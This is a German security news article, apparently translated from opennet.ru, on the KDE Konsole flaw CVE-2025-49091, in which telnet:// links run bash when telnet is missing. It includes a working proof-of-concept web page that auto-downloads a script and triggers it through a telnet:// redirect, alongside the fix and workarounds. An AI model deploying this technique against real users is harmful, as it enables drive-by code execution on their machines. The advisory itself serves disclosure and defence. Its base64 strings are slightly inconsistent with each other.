Sicherheitslücke in KDE Konsole ermöglicht Codeausführung beim Öffnen von Seiten im Browser

Im Entwicklungsprojekt von KDE, dem Terminalemulator Konsole, wurde eine Sicherheitslücke (CVE-2025-49091) entdeckt, die die Ausführung von Code im System ermöglicht, wenn eine speziell gestaltete Seite im Browser geöffnet wird.

Für Konsole wird standardmäßig in KDE der Dienst KTelnetService (ktelnetservice6.desktop) registriert, der die Behandlung der im Browser geöffneten URL-Schemata telnet://, rlogin:// und ssh:// verbindet. Bei der Verarbeitung dieser Schemata im Terminalemulator werden die Dienstprogramme telnet, rlogin und ssh gestartet, denen der in dem Link angegebene Pfad übergeben wird.

Die Sicherheitslücke entsteht, weil, falls die Dienstprogramme telnet, rlogin oder ssh nicht im System installiert sind, Konsole beim Aufruf des entsprechenden URL-Handlers den Shell-Interpreter bash startet. Beispielsweise wird beim Öffnen des Links "telnet://proc/self/cwd/Downloads/evil" im Browser in Konsole "/bin/bash /proc/self/cwd/Downloads/evil" ausgeführt, wenn telnet fehlt. Analog lässt sich ein Angriff auf die Handler von rlogin:// und ssh:// durchführen, wenn die Programme rlogin und ssh nicht im System vorhanden sind.

Die Sicherheit hat auch den Nachteil, dass in den aktuellen Versionen von Firefox und Chrome standardmäßig heruntergeladene Dateien automatisch gespeichert werden, ohne den Nutzer um Bestätigung zu bitten, sondern lediglich eine Benachrichtigung über den abgeschlossenen Download anzuzeigen. In Firefox kann dieses Verhalten deaktiviert werden, indem die Einstellung „Immer fragen, wo Dateien gespeichert werden sollen“ auf der Seite „Allgemein > Dateien und Anwendungen“ geändert wird. In der Regel werden die Dateien im Verzeichnis ~/Downloads gespeichert, auf das über den Dateipfad „/proc/self/cwd/Downloads/“ zugegriffen werden kann, ohne den Namen des aktuellen Benutzers zu kennen.

Hier ist ein Beispiel für JavaScript-Code, der in Browsern unter KDE mit Konsole die Befehle „echo „Hello world“; touch /tmp/foobar“ ausführt (im Beispiel sind sie in der Zeile „data:;base64,ZWNobyAiAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg==“ kodiert). Der bereitgestellte Code erstellt einen Link mit integrierten Daten, simuliert einen Klick auf diesen Link und leitet den Benutzer auf die URL „telnet://…“ weiter. Für die Verwendung in Chrome sollte der Dateiname im Link in evil.txt geändert werden, da Chrome automatisch die Dateiendung txt hinzufügt. <html> <head> <script type=»text/javascript»> function downloadAndRedirect() { const anchor = document.createElement(‘a’); anchor.href = «data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg==»; anchor.download = ‘evil’; document.body.appendChild(anchor); anchor.click(); document.body.removeChild(anchor); setTimeout(() => { window.location.href = «telnet:///proc/self/cwd/Downloads/evil»; }, 1000); } </script> </head> <body onload="»downloadAndRedirect()»"> </body> </html>

In Firefox und Chrome wird beim Versuch, auf einen Link „telnet://“ zuzugreifen, standardmäßig eine Bestätigungsanfrage an den Benutzer ausgegeben. Bei Zustimmung wird KTelnetService den Befehl ausführen: /usr/bin/konsole —noclose -e telnet /proc/self/cwd/Downloads/evil

Falls die telnet-Anwendung im System nicht vorhanden ist, wird Konsole auf den Start von bash anstelle von telnet zurückgreifen und das ursprünglich in der Befehlszeile angegebene Argument übergeben.

Das Problem wurde in der Version Konsole 25.04.2 behoben, die Teil des Updates KDE Gear 25.04.2 ist. Die Behebung der Sicherheitsanfälligkeit in den Distributionen kann auf den folgenden Seiten verfolgt werden: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD. Als Workaround zur Blockierung der Sicherheitsanfälligkeit können die Tools telnet, rlogin und ssh installiert oder die Datei /usr/share/applications/ktelnetservice6.desktop entfernt werden.

Quelle: opennet.ru

Zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server kaufen 🔥 Zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server kaufen | ProHoster